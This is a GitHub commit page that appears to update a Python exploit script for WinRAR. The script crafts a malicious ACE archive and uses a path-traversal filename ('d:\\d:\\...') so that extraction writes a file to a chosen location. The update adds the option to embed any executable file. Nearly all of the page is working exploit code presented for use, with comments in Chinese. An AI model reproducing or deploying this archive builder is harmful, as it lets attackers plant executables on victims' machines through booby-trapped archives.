Skip to content

Commit 1d6939d

Browse files
committed
update WinRAR exploit
1 parent 7cdf55b commit 1d6939d

File tree

1 file changed

+72
-61
lines changed

1 file changed

+72
-61
lines changed

exploit/WinRAR_exploit/WinRAR_exploit.py

+72-61
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,8 @@
1111
使用方法:python WinRAR_exploit.py
1212
1313
Python version 3.7.1
14+
15+
可以自定义添加文件,文件可为exe等格式,如果文件不存在,则以文本加入压缩文件中
1416
"""
1517

1618
import sys
@@ -86,70 +88,79 @@ def ace_crc16(buf):
8688
50905
8789
"""
8890
return AceCRC16(buf).sum
89-
90-
def generate_exploit_ace(filename,content,outfilename):
91-
payload = '9f7c31000000902a2a4143452a2a141402008650554e010754e200000000162a554e524547495354455245442056455253494f4e2a'
92-
93-
content_hex = binascii.b2a_hex(content.encode("gbk"))
94-
95-
filename_hex = binascii.b2a_hex(filename.encode("gbk"))
96-
filenamelength_hex = getlenHex(len(filename),4)
97-
98-
reserved1_hex='5445'
99-
100-
params_hex='0a00'
101-
compqual_hex='03' #normal
102-
comptype_hex='00' #stored
103-
crc32_hex='0fe59a57' # 0x579ae50f
104-
attribs_hex='20000000' #ARCHIVE
105-
datetime_hex='3850554e' #2019-02-21 10:01:48
106-
107-
packsize = origsize = len(content)
108-
packsize_hex = origsize_hex = getlenHex(packsize,8)
109-
hdr_flags_hex = '0180'
110-
hdr_type_hex = '01'
111-
112-
str1 = hdr_type_hex+\
113-
hdr_flags_hex+\
114-
packsize_hex+\
115-
origsize_hex+\
116-
datetime_hex+\
117-
attribs_hex+\
118-
crc32_hex+\
119-
comptype_hex+\
120-
compqual_hex+\
121-
params_hex+\
122-
reserved1_hex+\
123-
filenamelength_hex+\
124-
filename_hex.decode()
125-
126-
str1lenHex = getlenHex(round(len(str1)/2),4)#获取长度的hex
127-
128-
str2hex = str1lenHex+str1
129-
130-
hdr_crc_hex = getlenHex(ace_crc16(bytes.fromhex(str1)),4)
131-
132-
payload += hdr_crc_hex
133-
payload += str2hex
134-
payload += content_hex.decode()
135-
136-
with open(outfilename,'wb') as file:
137-
file.write(bytes.fromhex(payload))
138-
139-
print("Generated "+outfilename+" successfully")
91+
def ace_crc32(buf):
92+
return AceCRC32(buf).sum
93+
94+
def generate_exploit_ace(filename,buf,outfilename):
95+
payload = '9f7c31000000902a2a4143452a2a141402008650554e010754e200000000162a554e524547495354455245442056455253494f4e2a'
96+
97+
content_hex = binascii.b2a_hex(buf)
98+
99+
filename_hex = binascii.b2a_hex(filename.encode("gbk"))
100+
filenamelength_hex = getlenHex(len(filename),4)
101+
102+
reserved1_hex='5445'
103+
104+
params_hex='0a00'
105+
compqual_hex='03' #normal
106+
comptype_hex='00' #stored
107+
crc32 = ace_crc32(buf)
108+
crc32_hex= getlenHex(crc32,8)
109+
110+
attribs_hex='20000000' #ARCHIVE
111+
datetime_hex='3850554e' #2019-02-21 10:01:48
112+
113+
packsize = origsize = len(buf)
114+
packsize_hex = origsize_hex = getlenHex(packsize,8)
115+
hdr_flags_hex = '0180'
116+
hdr_type_hex = '01'
117+
118+
str1 = hdr_type_hex+\
119+
hdr_flags_hex+\
120+
packsize_hex+\
121+
origsize_hex+\
122+
datetime_hex+\
123+
attribs_hex+\
124+
crc32_hex+\
125+
comptype_hex+\
126+
compqual_hex+\
127+
params_hex+\
128+
reserved1_hex+\
129+
filenamelength_hex+\
130+
filename_hex.decode()
131+
132+
str1lenHex = getlenHex(round(len(str1)/2),4)#获取长度的hex
133+
134+
str2hex = str1lenHex+str1
135+
136+
hdr_crc_hex = getlenHex(ace_crc16(bytes.fromhex(str1)),4)
137+
138+
payload += hdr_crc_hex
139+
payload += str2hex
140+
payload += content_hex.decode()
141+
142+
with open(outfilename,'wb') as file:
143+
file.write(bytes.fromhex(payload))
144+
145+
print("Generated "+outfilename+" successfully")
140146

141147
def getlenHex(x,y):#x为整数,y为所需长度
142-
x_hex = format(x,'x').rjust(y,'0')
143-
outhex = ''
144-
for a in range(len(x_hex),0,-2):
145-
outhex+=(x_hex[a-2:a])
146-
return outhex
148+
x_hex = format(x,'x').rjust(y,'0')
149+
outhex = ''
150+
for a in range(len(x_hex),0,-2):
151+
outhex+=(x_hex[a-2:a])
152+
return outhex
147153

148154

149155
if __name__ == '__main__':
150156

151-
outfilename = 'WinRAR_exploit.ace' #生成的文件名
152-
filename = 'd:\\d:\\aaa.txt' #解压的路径
153-
content = "Hello lab!" #文件内容
154-
generate_exploit_ace(filename,content,outfilename)
155-
157+
outfilename = 'WinRAR_exploit_wg.rar' #生成的文件名
158+
filename = 'cmd.exe' #添加的文件
159+
filepath = 'd:\\d:\\%s' % (filename) #解压的路径
160+
buf = b'Hello world!'
161+
try:
162+
with open(filename,'rb') as f:
163+
buf = f.read()
164+
except Exception as e:
165+
filepath = 'd:\\d:\\test.txt'
166+
generate_exploit_ace(filepath,buf,outfilename)

0 commit comments

Comments
 (0)